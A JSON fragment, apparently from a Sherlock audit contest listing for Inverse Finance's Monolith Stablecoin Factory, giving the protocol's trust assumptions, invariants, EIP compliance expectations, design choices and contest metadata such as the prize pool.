constraints:\nCollateral Factor: Must be \u2264 85% (current factory setting)\nMinimum debt floor: Set at factory level\nPSM buy fee: Grows linearly from 0% to 1% over the second half of the immutability deadline\n\n\nOperators creating new Monolith Coins (deployers of Monolith coins) should be trusted to have set up a safe coin. That means if the operator/deployer creates a Monolith coin with malicious/faulty collateral, the oracle of the PSM vault and depositors lose funds after interacting with it -> this is not considered a valid issue. The same applies to unsafe risk parameters (e.g. using too high collateral factor for an extremely volatile coin).\nHowever, the operator/deployer of the Monolith coin shouldn't be able to steal funds, yield or mint tokens outside of borrowing with safe/trusted collateral, oracle and PSM vaults. If changing parameters of the monolith coin allows them to steal user funds or nuke the price of the monolith coin, that can be viewed as a valid finding.","order":3},{"question":"Are there any limitations on values set by admins (or other roles) in protocols you integrate with, including restrictions on array lengths?","answer":"We integrate primarily with Chainlink oracles and assume that Chainlink governance will operate correctly. However, we implement staleness checks as a safety mechanism set on deployment. \n\nFor PSM integrations with other stablecoins or ERC4626 vaults, we trust the underlying protocol's governance but isolate risk to PSM deposits only.\n","order":4},{"question":"Is the codebase expected to comply with any specific EIPs?","answer":"ERC20: Full compliance for the Coin contract\nERC4626: Full compliance for the Vault contract\nChainlink Oracle Interface: Standard latestRoundData() interface compliance\n\nIssues that break the EIP's MUST statements may be deemed valid Medium severity (even if the violation is in view functions and doesn't impact state functions) even if the impact is low/info, unless they conflict with common sense.","order":5},{"question":"Are there any off-chain mechanisms involved in the protocol (e.g., keeper bots, arbitrage bots, etc.)? We assume these mechanisms will not misbehave, delay, or go offline unless otherwise specified.","answer":"Liquidation bots: External actors are expected to monitor positions and trigger liquidations when positions become undercollateralized. The protocol provides economic incentives (liquidation fees) for this. Assume they only liquidate if the liquidation incentive covers the fee. Assume that Monolith Coin holders have an incentive to call the writeOff function if a position goes into bad debt.\n\nRedemption actors: Free debt borrowers can be redeemed against when the stablecoin trades below peg. Market participants are expected to perform these redemptions for profit.\n\nOracle updates: Chainlink oracles update prices off-chain based on their decentralized network.\n\nAll off-chain mechanisms are incentivized and permissionless - no trusted keepers are required.\n","order":6},{"question":"What properties/invariants do you want to hold even if breaking them has a low/unknown impact?","answer":"Critical invariants:\n\nCollateral accounting: Total collateral in the protocol must always be \u2265 sum of all individual user collateral balances\n\nDebt accounting: Total debt must always be equal to or greater than the circulating supply of stablecoins (excluding PSM-backed supply)\n\nShare price monotonicity: Debt share prices should never decrease (except during write-offs for bad debt socialization)\n\nPSM reserves: PSM reserves must always be sufficient to redeem all PSM-backed stablecoin supply\n\nLiquidation safety: Positions below the collateral factor threshold must always be liquidatable\n\nInterest accrual: Interest must always accrue correctly based on time elapsed and current rate\n\nRedemption fairness: Redemptions should proportionally reduce collateral from free debt borrowers\n\n`nonRedeemableCollateral` must be at least equal to the sum of all Non redeemable users' balances\n\nDue to rounding errors, it's expected that total supply and total debt don't align perfectly, but in those cases, the debt should be rounded up in favour of the protocol.\n\n","order":7},{"question":"Please discuss any design choices you made.","answer":"1. Dual Debt System: We implemented both paid (variable rate) and free (0% but redeemable) debt to allow borrowers to choose their risk profile. This creates a natural market mechanism for interest rate discovery.\n\n2. Bad Debt Socialization: The writeOff function socializes bad debt across all borrowers proportionally. This was chosen over alternative liquidation mechanisms to ensure protocol solvency. In extreme scenarios with very high share deflation (>1M shares per 1 unit of underlying), this is considered an acceptable risk given it would require catastrophic failure of risk management.\n\n3. PSM Yield Capture: Yield from ERC4626 PSM vaults goes to the operator to incentivize protocol deployments and provide sustainable revenue.\n\n4. Interest Rate Controller: The autonomous interest rate controller adjusts rates based on the free debt ratio to maintain system equilibrium. We chose aggressive halving/doubling periods (configurable by operator) to encourage rapid market response.\n\n5. Immutability Deadline: We chose a fixed immutability deadline approach rather than upgradeable contracts to provide certainty to users, even at the cost of flexibility.","order":8},{"question":"Please provide links to previous audits (if any) and all the known issues or acceptable risks.","answer":"https://yaudit-monolith.tiiny.site/","order":9},{"question":"Please list any relevant protocol resources.","answer":"https://inversefinance-wip.mintlify.app/\nhttps://www.monolith.market/\n","order":10},{"question":"Additional audit information.","answer":"Security researchers should not assume there will be any immediate deposits (deposits on deployment) to yield vaults (Vault.sol contract) for monolith coins.","order":11}],"ends_at":1765724400,"judging_prize_pool":0,"is_judging_enabled":false,"score_sequence":288,"rewards_tiers":[{"id":1253,"severity":{"name":"Medium","id":2.0,"text_color":"423d38","color":"f0b375"},"min_count":0,"unlock_percentage":100.0}],"description":null,"reserved_auditors_fixed_pays":[],"logo_url":"https://sherlock-files.ams3.digitaloceanspaces.com/contests/inverse-finance.jpg","prize_pool":25500,"lead_judge_fixed_pay":2500,"private":false,"nsloc":1091,"judging_repo_name":"sherlock-audit/2025-12-monolith-stablecoin-factory-judging","reserve_auditor_message":null,"title":"Monolith Stablecoin Factory"}
